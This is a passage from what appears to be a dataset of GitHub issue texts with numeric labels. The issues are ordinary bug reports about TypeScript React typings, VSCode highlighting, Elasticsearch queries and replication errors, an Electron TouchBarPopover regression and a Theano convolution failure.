class="pl-smi">Element</span><span class="pl-s">' cannot simultaneously extend types '</span><span class="pl-smi">ReactElement</span><span class="pl-c1">&lt;</span><span class="pl-s1">any</span><span class="pl-c1">&gt;</span><span class="pl-s">' and '</span><span class="pl-smi">ReactElement</span><span class="pl-c1">&lt;</span><span class="pl-s1">any</span><span class="pl-c1">&gt;</span><span class="pl-s">'.</span> <span class="pl-s"> Named property '</span><span class="pl-s1">type</span>' <span class="pl-k">of</span> <span class="pl-s1">types</span> <span class="pl-s">'ReactElement&lt;any&gt;'</span> <span class="pl-s1">and</span> <span class="pl-s">'ReactElement&lt;any&gt;'</span> <span class="pl-s1">are</span> <span class="pl-s1">not</span> <span class="pl-s1">identical</span><span class="pl-kos">.</span><span class="pl-s">'</span> <span class="pl-s">at: '</span><span class="pl-c1">3454</span><span class="pl-kos">,</span><span class="pl-c1">19</span><span class="pl-s">'</span> <span class="pl-s">source: '</span><span class="pl-s1">ts</span>'</pre></div> <div class="highlight highlight-source-ts notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="file: '.../@types/react/index.d.ts' severity: 'Error' message: 'Interface 'ElementClass' cannot simultaneously extend types 'Component&lt;any, {}&gt;' and 'Component&lt;any, {}&gt;'. Named property 'refs' of types 'Component&lt;any, {}&gt;' and 'Component&lt;any, {}&gt;' are not identical.' at: '3455,19' source: 'ts'"><pre class="notranslate">file: <span class="pl-s">'.../@types/react/index.d.ts'</span> severity: <span class="pl-s">'Error'</span> <span class="pl-s1">message</span>: <span class="pl-s">'Interface '</span><span class="pl-smi">ElementClass</span><span class="pl-s">' cannot simultaneously extend types '</span><span class="pl-smi">Component</span><span class="pl-c1">&lt;</span><span class="pl-s1">any</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-kos">}</span><span class="pl-c1">&gt;</span><span class="pl-s">' and '</span><span class="pl-smi">Component</span><span class="pl-c1">&lt;</span><span class="pl-s1">any</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-kos">}</span><span class="pl-c1">&gt;</span><span class="pl-s">'.</span> <span class="pl-s"> Named property '</span><span class="pl-s1">refs</span>' <span class="pl-k">of</span> <span class="pl-s1">types</span> <span class="pl-s">'Component&lt;any, {}&gt;'</span> <span class="pl-s1">and</span> <span class="pl-s">'Component&lt;any, {}&gt;'</span> <span class="pl-s1">are</span> <span class="pl-s1">not</span> <span class="pl-s1">identical</span><span class="pl-kos">.</span><span class="pl-s">'</span> <span class="pl-s">at: '</span><span class="pl-c1">3455</span><span class="pl-kos">,</span><span class="pl-c1">19</span><span class="pl-s">'</span> <span class="pl-s">source: '</span><span class="pl-s1">ts</span>'</pre></div>
0
<ul dir="auto"> <li>VSCode Version: 0.10.11</li> <li>OS Version: Win 7</li> </ul> <p dir="auto">Steps to Reproduce:</p> <ol dir="auto"> <li>Write some code with an 'if' statement, and a variable compared with an smaller-as '&lt;' operator (without separating space).</li> <li>Add a code block bracket on the same line.</li> <li>Write more code in the block</li> </ol> <p dir="auto">Minimal example:<br> <code class="notranslate">var j;</code><br> <code class="notranslate">if(j&lt;2){</code><br> <code class="notranslate">var i=123;</code><br> <code class="notranslate">}</code></p> <p dir="auto">Result in the dark+ standard scheme:</p> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://cloud.githubusercontent.com/assets/6265026/13776959/50bb949e-eaad-11e5-8fd8-1530d15e7206.png"><img src="https://cloud.githubusercontent.com/assets/6265026/13776959/50bb949e-eaad-11e5-8fd8-1530d15e7206.png" alt="vscodejshighlightingproblem" style="max-width: 100%;"></a></p> <p dir="auto">btw. what should the color of the <code class="notranslate">j</code>be? It is different in the second example.</p>
<p dir="auto">Ported from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="94376232" data-permission-text="Title is private" data-url="https://github.com/microsoft/TypeScript-Sublime-Plugin/issues/285" data-hovercard-type="issue" data-hovercard-url="/microsoft/TypeScript-Sublime-Plugin/issues/285/hovercard" href="https://github.com/microsoft/TypeScript-Sublime-Plugin/issues/285">microsoft/TypeScript-Sublime-Plugin#285</a></p> <p dir="auto">Related to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="91870539" data-permission-text="Title is private" data-url="https://github.com/microsoft/TypeScript-Sublime-Plugin/issues/265" data-hovercard-type="issue" data-hovercard-url="/microsoft/TypeScript-Sublime-Plugin/issues/265/hovercard" href="https://github.com/microsoft/TypeScript-Sublime-Plugin/issues/265">microsoft/TypeScript-Sublime-Plugin#265</a>.</p> <p dir="auto">Issue:<br> <a target="_blank" rel="noopener noreferrer nofollow" href="https://cloud.githubusercontent.com/assets/1707813/8627292/da8f8be4-26fe-11e5-97ce-2b2a8b257afa.png"><img src="https://cloud.githubusercontent.com/assets/1707813/8627292/da8f8be4-26fe-11e5-97ce-2b2a8b257afa.png" alt="image" style="max-width: 100%;"></a></p> <p dir="auto">Correct:<br> <a target="_blank" rel="noopener noreferrer nofollow" href="https://cloud.githubusercontent.com/assets/1707813/8627340/3e27dbf2-26ff-11e5-8751-7e8576cbd230.png"><img src="https://cloud.githubusercontent.com/assets/1707813/8627340/3e27dbf2-26ff-11e5-8751-7e8576cbd230.png" alt="image" style="max-width: 100%;"></a></p>
1
<p dir="auto">I have opened this pull request because to discuss if we can return an exception when filtering/querying a field that is not indexed, or that does not exist. As an example of this:</p> <h2 dir="auto">Querying a non-indexed field</h2> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="PUT trial { &quot;mappings&quot;: { &quot;document_type1&quot;: { &quot;properties&quot;: { &quot;prop1&quot;: { &quot;index&quot;: &quot;no&quot;, &quot;type&quot;: &quot;string&quot; } } } } } POST trial/document_type1 { &quot;prop1&quot;: &quot;sure&quot; } POST trial/_search { &quot;query&quot;: { &quot;match&quot;: { &quot;prop1&quot;: &quot;sure&quot; } } }"><pre class="notranslate"><code class="notranslate">PUT trial { "mappings": { "document_type1": { "properties": { "prop1": { "index": "no", "type": "string" } } } } } POST trial/document_type1 { "prop1": "sure" } POST trial/_search { "query": { "match": { "prop1": "sure" } } } </code></pre></div> <p dir="auto">This returns:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="{ &quot;took&quot;: 13, &quot;timed_out&quot;: false, &quot;_shards&quot;: { &quot;total&quot;: 5, &quot;successful&quot;: 5, &quot;failed&quot;: 0 }, &quot;hits&quot;: { &quot;total&quot;: 0, &quot;max_score&quot;: null, &quot;hits&quot;: [] } }"><pre class="notranslate"><code class="notranslate">{ "took": 13, "timed_out": false, "_shards": { "total": 5, "successful": 5, "failed": 0 }, "hits": { "total": 0, "max_score": null, "hits": [] } } </code></pre></div> <h2 dir="auto">Querying a non-existing field</h2> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="POST trial/_search { &quot;query&quot;: { &quot;match&quot;: { &quot;prop2&quot;: &quot;some text&quot; } } }"><pre class="notranslate"><code class="notranslate">POST trial/_search { "query": { "match": { "prop2": "some text" } } } </code></pre></div> <p dir="auto">This returns:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="{ &quot;took&quot;: 13, &quot;timed_out&quot;: false, &quot;_shards&quot;: { &quot;total&quot;: 5, &quot;successful&quot;: 5, &quot;failed&quot;: 0 }, &quot;hits&quot;: { &quot;total&quot;: 0, &quot;max_score&quot;: null, &quot;hits&quot;: [] } }"><pre class="notranslate"><code class="notranslate">{ "took": 13, "timed_out": false, "_shards": { "total": 5, "successful": 5, "failed": 0 }, "hits": { "total": 0, "max_score": null, "hits": [] } } </code></pre></div> <p dir="auto">Both cases could return an exception, indicating that the field is not indexed, or does not exist. I've marked this issue as a discussion, since there are some cases such as querying multiple indices that could be a bit tricky to add consistency to the result of mixed results of existing fields on certain indices plus non-indexed/existing fields on other indices.</p>
<p dir="auto">Officially filing what I've seen here: <a href="https://groups.google.com/forum/#!topic/elasticsearch/LPv_wPPVTJg" rel="nofollow">https://groups.google.com/forum/#!topic/elasticsearch/LPv_wPPVTJg</a></p> <p dir="auto">In short, I'm attempting to configure a basic 2-node cluster with ES 0.90.0 on JRE 1.7.0_17, dedicated hardware, slightly different Linux distros. The baseline configuration isn't too complicated, simply 16 shards with predefined mappings and one index. Regardless of discovery mechanism, the nodes seem to discover/elect fine. If I run a single node and load it with the exact same harness, everything works fine. When I have two nodes, system errors in replication begin to happen but I'm not able to tell what the errors are due to what appears to be errors in the Netty transport layer being unable to parse the serialized exception. Stack traces appear similar to:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="[2013-06-05 09:35:20,480][WARN ][action.index ] [es-1] Failed to perform index on replica [rules][4] org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream Caused by: org.elasticsearch.transport.TransportSerializationException: Failed to deserialize exception response from stream at org.elasticsearch.transport.netty.MessageChannelHandler.handlerResponseError(MessageChannelHandler.java:171) at org.elasticsearch.transport.netty.MessageChannelHandler.messageReceived(MessageChannelHandler.java:125) at org.elasticsearch.common.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) at org.elasticsearch.common.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) at org.elasticsearch.common.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) at org.elasticsearch.common.netty.channel.Channels.fireMessageReceived(Channels.java:296) at org.elasticsearch.common.netty.handler.codec.frame.FrameDecoder.unfoldAndFireMessageReceived(FrameDecoder.java:462) at org.elasticsearch.common.netty.handler.codec.frame.FrameDecoder.callDecode(FrameDecoder.java:443) at org.elasticsearch.common.netty.handler.codec.frame.FrameDecoder.messageReceived(FrameDecoder.java:303) at org.elasticsearch.common.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) at org.elasticsearch.common.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) at org.elasticsearch.common.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:559) at org.elasticsearch.common.netty.channel.Channels.fireMessageReceived(Channels.java:268) at org.elasticsearch.common.netty.channel.Channels.fireMessageReceived(Channels.java:255) at org.elasticsearch.common.netty.channel.socket.nio.NioWorker.read(NioWorker.java:88) at org.elasticsearch.common.netty.channel.socket.nio.AbstractNioWorker.process(AbstractNioWorker.java:107) at org.elasticsearch.common.netty.channel.socket.nio.AbstractNioSelector.run(AbstractNioSelector.java:312) at org.elasticsearch.common.netty.channel.socket.nio.AbstractNioWorker.run(AbstractNioWorker.java:88) at org.elasticsearch.common.netty.channel.socket.nio.NioWorker.run(NioWorker.java:178) at org.elasticsearch.common.netty.util.ThreadRenamingRunnable.run(ThreadRenamingRunnable.java:108) at org.elasticsearch.common.netty.util.internal.DeadLockProofWorker$1.run(DeadLockProofWorker.java:42) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:722) Caused by: java.io.StreamCorruptedException: unexpected end of block data at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1369) at java.io.ObjectInputStream.access$300(ObjectInputStream.java:205) at java.io.ObjectInputStream$GetFieldImpl.readFields(ObjectInputStream.java:2132) at java.io.ObjectInputStream.readFields(ObjectInputStream.java:537) at java.net.InetSocketAddress.readObject(InetSocketAddress.java:282) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:601) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1004) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1872) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1777) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1347) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1970) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1894) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1777) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1347) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1970) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1894) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1777) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1347) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:369) at org.elasticsearch.transport.netty.MessageChannelHandler.handlerResponseError(MessageChannelHandler.java:169) ... 23 more [2013-06-05 09:35:20,483][WARN ][cluster.action.shard ] [es-1] sending failed shard for [rules][4], node[Ed7LBQdzQMae69IzlCm-Dg], [R], s[STARTED], reason [Failed to perform [index] on replica, message [RemoteTransportException[Failed to deserialize exception response from stream]; nested: TransportSerializationException[Failed to deserialize exception response from stream]; nested: StreamCorruptedException[unexpected end of block data]; ]] [2013-06-05 09:35:20,483][WARN ][cluster.action.shard ] [es-1] received shard failed for [rules][4], node[Ed7LBQdzQMae69IzlCm-Dg], [R], s[STARTED], reason [Failed to perform [index] on replica, message [RemoteTransportException[Failed to deserialize exception response from stream]; nested: TransportSerializationException[Failed to deserialize exception response from stream]; nested: StreamCorruptedException[unexpected end of block data]; ]]"><pre class="notranslate"><code class="notranslate">[2013-06-05 09:35:20,480][WARN ][action.index ] [es-1] Failed to perform index on replica [rules][4] org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream Caused by: org.elasticsearch.transport.TransportSerializationException: Failed to deserialize exception response from stream at org.elasticsearch.transport.netty.MessageChannelHandler.handlerResponseError(MessageChannelHandler.java:171) at org.elasticsearch.transport.netty.MessageChannelHandler.messageReceived(MessageChannelHandler.java:125) at org.elasticsearch.common.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) at org.elasticsearch.common.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) at org.elasticsearch.common.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) at org.elasticsearch.common.netty.channel.Channels.fireMessageReceived(Channels.java:296) at org.elasticsearch.common.netty.handler.codec.frame.FrameDecoder.unfoldAndFireMessageReceived(FrameDecoder.java:462) at org.elasticsearch.common.netty.handler.codec.frame.FrameDecoder.callDecode(FrameDecoder.java:443) at org.elasticsearch.common.netty.handler.codec.frame.FrameDecoder.messageReceived(FrameDecoder.java:303) at org.elasticsearch.common.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) at org.elasticsearch.common.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) at org.elasticsearch.common.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:559) at org.elasticsearch.common.netty.channel.Channels.fireMessageReceived(Channels.java:268) at org.elasticsearch.common.netty.channel.Channels.fireMessageReceived(Channels.java:255) at org.elasticsearch.common.netty.channel.socket.nio.NioWorker.read(NioWorker.java:88) at org.elasticsearch.common.netty.channel.socket.nio.AbstractNioWorker.process(AbstractNioWorker.java:107) at org.elasticsearch.common.netty.channel.socket.nio.AbstractNioSelector.run(AbstractNioSelector.java:312) at org.elasticsearch.common.netty.channel.socket.nio.AbstractNioWorker.run(AbstractNioWorker.java:88) at org.elasticsearch.common.netty.channel.socket.nio.NioWorker.run(NioWorker.java:178) at org.elasticsearch.common.netty.util.ThreadRenamingRunnable.run(ThreadRenamingRunnable.java:108) at org.elasticsearch.common.netty.util.internal.DeadLockProofWorker$1.run(DeadLockProofWorker.java:42) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:722) Caused by: java.io.StreamCorruptedException: unexpected end of block data at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1369) at java.io.ObjectInputStream.access$300(ObjectInputStream.java:205) at java.io.ObjectInputStream$GetFieldImpl.readFields(ObjectInputStream.java:2132) at java.io.ObjectInputStream.readFields(ObjectInputStream.java:537) at java.net.InetSocketAddress.readObject(InetSocketAddress.java:282) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:601) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1004) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1872) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1777) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1347) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1970) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1894) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1777) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1347) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1970) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1894) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1777) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1347) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:369) at org.elasticsearch.transport.netty.MessageChannelHandler.handlerResponseError(MessageChannelHandler.java:169) ... 23 more [2013-06-05 09:35:20,483][WARN ][cluster.action.shard ] [es-1] sending failed shard for [rules][4], node[Ed7LBQdzQMae69IzlCm-Dg], [R], s[STARTED], reason [Failed to perform [index] on replica, message [RemoteTransportException[Failed to deserialize exception response from stream]; nested: TransportSerializationException[Failed to deserialize exception response from stream]; nested: StreamCorruptedException[unexpected end of block data]; ]] [2013-06-05 09:35:20,483][WARN ][cluster.action.shard ] [es-1] received shard failed for [rules][4], node[Ed7LBQdzQMae69IzlCm-Dg], [R], s[STARTED], reason [Failed to perform [index] on replica, message [RemoteTransportException[Failed to deserialize exception response from stream]; nested: TransportSerializationException[Failed to deserialize exception response from stream]; nested: StreamCorruptedException[unexpected end of block data]; ]] </code></pre></div> <p dir="auto">As additional context, I originally started with compression enabled and then disabled it. I've tested with both ZooKeeper and Zen discovery (unicast and multicast), same results. I've deleted the index as well as starting completely fresh, no change.</p> <p dir="auto">I'll follow up with config files after I sanitize them. Haven't made any progress asking on the mailing list.</p>
0
<h3 dir="auto">Preflight Checklist</h3> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have read the <a href="https://github.com/electron/electron/blob/master/CONTRIBUTING.md">Contributing Guidelines</a> for this project.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I agree to follow the <a href="https://github.com/electron/electron/blob/master/CODE_OF_CONDUCT.md">Code of Conduct</a> that this project adheres to.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have searched the issue tracker for an issue that matches the one I want to file, without success.</li> </ul> <h3 dir="auto">Issue Details</h3> <ul dir="auto"> <li><strong>Electron Version:</strong> 11.0.3</li> <li><strong>Operating System:</strong> MacOS catalina 10.15.7</li> <li><strong>Last Known Working Electron version:</strong> 10.1.3</li> </ul> <p dir="auto">The TouchBarPopover item does not work anymore, creating a popover and clicking on it shows an empty touch bar.</p> <h3 dir="auto">Expected Behavior</h3> <p dir="auto">The TouchBarPopover defined TouchBar should be displayed.</p> <h3 dir="auto">Actual Behavior</h3> <p dir="auto">The TouchBarPopover is not showing the TouchBar specified in his items field.</p> <h3 dir="auto">To Reproduce</h3> <p dir="auto">Here is a minimal example, this is the main process script, the test does not need renderer code at all.</p> <div class="highlight highlight-source-js notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="const { app, BrowserWindow,TouchBar } = require('electron'); const { TouchBarButton, TouchBarPopover } = TouchBar; const touchBar = new TouchBar({ items: [ new TouchBarPopover({ label: &quot;2D&quot;, items: new TouchBar({ items: [ new TouchBarButton({ label:&quot;Disc&quot;, click: ()=&gt; console.log(&quot;new&quot;, &quot;Disc&quot;)}), new TouchBarButton({ label:&quot;Beam&quot;, click: ()=&gt; console.log(&quot;new&quot;, &quot;Beam&quot;)}), ] }) }) ] }); function createWindow () { const win = new BrowserWindow({ width: 800, height: 600, webPreferences: { nodeIntegration: true } }); win.setTouchBar(touchBar); } app.whenReady().then(createWindow);"><pre class="notranslate"><span class="pl-k">const</span> <span class="pl-kos">{</span> app<span class="pl-kos">,</span> BrowserWindow<span class="pl-kos">,</span>TouchBar <span class="pl-kos">}</span> <span class="pl-c1">=</span> <span class="pl-en">require</span><span class="pl-kos">(</span><span class="pl-s">'electron'</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-k">const</span> <span class="pl-kos">{</span> TouchBarButton<span class="pl-kos">,</span> TouchBarPopover <span class="pl-kos">}</span> <span class="pl-c1">=</span> <span class="pl-v">TouchBar</span><span class="pl-kos">;</span> <span class="pl-k">const</span> <span class="pl-s1">touchBar</span> <span class="pl-c1">=</span> <span class="pl-k">new</span> <span class="pl-v">TouchBar</span><span class="pl-kos">(</span><span class="pl-kos">{</span> <span class="pl-c1">items</span>: <span class="pl-kos">[</span> <span class="pl-k">new</span> <span class="pl-v">TouchBarPopover</span><span class="pl-kos">(</span><span class="pl-kos">{</span> <span class="pl-c1">label</span>: <span class="pl-s">"2D"</span><span class="pl-kos">,</span> <span class="pl-c1">items</span>: <span class="pl-k">new</span> <span class="pl-v">TouchBar</span><span class="pl-kos">(</span><span class="pl-kos">{</span> <span class="pl-c1">items</span>: <span class="pl-kos">[</span> <span class="pl-k">new</span> <span class="pl-v">TouchBarButton</span><span class="pl-kos">(</span><span class="pl-kos">{</span> <span class="pl-c1">label</span>:<span class="pl-s">"Disc"</span><span class="pl-kos">,</span> <span class="pl-en">click</span>: <span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-c1">=&gt;</span> <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">"new"</span><span class="pl-kos">,</span> <span class="pl-s">"Disc"</span><span class="pl-kos">)</span><span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">,</span> <span class="pl-k">new</span> <span class="pl-v">TouchBarButton</span><span class="pl-kos">(</span><span class="pl-kos">{</span> <span class="pl-c1">label</span>:<span class="pl-s">"Beam"</span><span class="pl-kos">,</span> <span class="pl-en">click</span>: <span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-c1">=&gt;</span> <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">"new"</span><span class="pl-kos">,</span> <span class="pl-s">"Beam"</span><span class="pl-kos">)</span><span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">,</span> <span class="pl-kos">]</span> <span class="pl-kos">}</span><span class="pl-kos">)</span> <span class="pl-kos">}</span><span class="pl-kos">)</span> <span class="pl-kos">]</span> <span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-k">function</span> <span class="pl-en">createWindow</span> <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> <span class="pl-k">const</span> <span class="pl-s1">win</span> <span class="pl-c1">=</span> <span class="pl-k">new</span> <span class="pl-v">BrowserWindow</span><span class="pl-kos">(</span><span class="pl-kos">{</span> <span class="pl-c1">width</span>: <span class="pl-c1">800</span><span class="pl-kos">,</span> <span class="pl-c1">height</span>: <span class="pl-c1">600</span><span class="pl-kos">,</span> <span class="pl-c1">webPreferences</span>: <span class="pl-kos">{</span> <span class="pl-c1">nodeIntegration</span>: <span class="pl-c1">true</span> <span class="pl-kos">}</span> <span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-s1">win</span><span class="pl-kos">.</span><span class="pl-en">setTouchBar</span><span class="pl-kos">(</span><span class="pl-s1">touchBar</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-kos">}</span> <span class="pl-s1">app</span><span class="pl-kos">.</span><span class="pl-en">whenReady</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">then</span><span class="pl-kos">(</span><span class="pl-s1">createWindow</span><span class="pl-kos">)</span><span class="pl-kos">;</span></pre></div> <p dir="auto">... it needs a mac to be tested!</p> <h3 dir="auto">Screenshots</h3> <p dir="auto">Wanted behaviour (as with electron 10.1.6):</p> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/1829939/100750275-14d61080-33e6-11eb-968f-7dc9ccca6c20.jpg"><img src="https://user-images.githubusercontent.com/1829939/100750275-14d61080-33e6-11eb-968f-7dc9ccca6c20.jpg" alt="IMG_3739" style="max-width: 100%;"></a><br> Actual behaviour (electron 11.0.2 and electron 11.0.3):<br> <a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/1829939/100750318-24555980-33e6-11eb-87a7-bb6e9abadf9d.jpg"><img src="https://user-images.githubusercontent.com/1829939/100750318-24555980-33e6-11eb-87a7-bb6e9abadf9d.jpg" alt="IMG_3738" style="max-width: 100%;"></a></p> <h3 dir="auto">Additional Information</h3>
<h3 dir="auto">Preflight Checklist</h3> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have read the <a href="https://github.com/electron/electron/blob/master/CONTRIBUTING.md">Contributing Guidelines</a> for this project.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I agree to follow the <a href="https://github.com/electron/electron/blob/master/CODE_OF_CONDUCT.md">Code of Conduct</a> that this project adheres to.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have searched the issue tracker for an issue that matches the one I want to file, without success.</li> </ul> <h3 dir="auto">Issue Details</h3> <ul dir="auto"> <li><strong>Electron Version:</strong> <ul dir="auto"> <li>11.0.2</li> </ul> </li> <li><strong>Operating System:</strong> <ul dir="auto"> <li>macOS 10.15.5 (19F101)</li> </ul> </li> <li><strong>Last Known Working Electron version:</strong> <ul dir="auto"> <li>10.1.6</li> </ul> </li> </ul> <h3 dir="auto">Expected Behavior</h3> <p dir="auto">Items inside a TouchBarGroup or TouchBarPopover should be rendered.</p> <h3 dir="auto">Actual Behavior</h3> <p dir="auto">Items inside a TouchBarGroup or TouchBarPopover don't show up.</p> <h3 dir="auto">To Reproduce</h3> <p dir="auto"><a href="https://gist.github.com/390d885b1cf4209a81583b0ee1e0d9aa">https://gist.github.com/390d885b1cf4209a81583b0ee1e0d9aa</a></p>
1
<p dir="auto">Hello everyone,</p> <p dir="auto">First of all I'ld like to thank for the great job you are doing here.</p> <p dir="auto">I was working on autoencoder examples at <a href="http://blog.keras.io/building-autoencoders-in-keras.html" rel="nofollow">http://blog.keras.io/building-autoencoders-in-keras.html</a>. When I came to CNN autoencoder, I'm stucked. Did anybody run CNN autoencoder(s) w/ Theano?</p> <p dir="auto">The example uses TensorFlow whereas I want to use Theano. This is what I have got so far:</p> <p dir="auto">= Versions</p> <ul dir="auto"> <li>Python 2.7 (from WinPython) running on Windows 7</li> <li>Theano - latest code from github</li> <li>Keras - latest code from github</li> </ul> <p dir="auto">= CNN Autoencoder /w functional API<br> Sample Code: <a href="https://gist.github.com/zakkum42/71c1ac9577a6eb2b6260dcdf7efd27d7">https://gist.github.com/zakkum42/71c1ac9577a6eb2b6260dcdf7efd27d7</a><br> Output/Error:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Using Theano backend. (60000L, 1L, 28L, 28L) (10000L, 1L, 28L, 28L) ERROR (theano.gof.opt): Optimization failure due to: local_abstractconv_check ERROR (theano.gof.opt): node: AbstractConv2d{border_mode='half', subsample=(1, 1), filter_flip=True, imshp=(None, None, None, None), kshp=(16, 1, 3, 3)}(input_1, convolution2d_1_W) ERROR (theano.gof.opt): TRACEBACK: ERROR (theano.gof.opt): Traceback (most recent call last): File &quot;D:\PYTHON2-DEV\WinPython\python-2.7.10.amd64\lib\site-packages\theano-0.8.2-py2.7.egg\theano\gof\opt.py&quot;, line 1772, in process_node replacements = lopt.transform(node) File &quot;D:\PYTHON2-DEV\WinPython\python-2.7.10.amd64\lib\site-packages\theano-0.8.2-py2.7.egg\theano\tensor\nnet\opt.py&quot;, line 402, in local_abstractconv_check node.op.__class__.__name__) AssertionError: AbstractConv2d Theano optimization failed: there is no implementation available supporting the requested options. Did you exclude both &quot;conv_dnn&quot; and &quot;conv_gemm&quot; from the optimizer? If on GPU, is cuDNN available and does the GPU support it? If on CPU, do you have a BLAS library installed Theano can link against?"><pre class="notranslate"><code class="notranslate">Using Theano backend. (60000L, 1L, 28L, 28L) (10000L, 1L, 28L, 28L) ERROR (theano.gof.opt): Optimization failure due to: local_abstractconv_check ERROR (theano.gof.opt): node: AbstractConv2d{border_mode='half', subsample=(1, 1), filter_flip=True, imshp=(None, None, None, None), kshp=(16, 1, 3, 3)}(input_1, convolution2d_1_W) ERROR (theano.gof.opt): TRACEBACK: ERROR (theano.gof.opt): Traceback (most recent call last): File 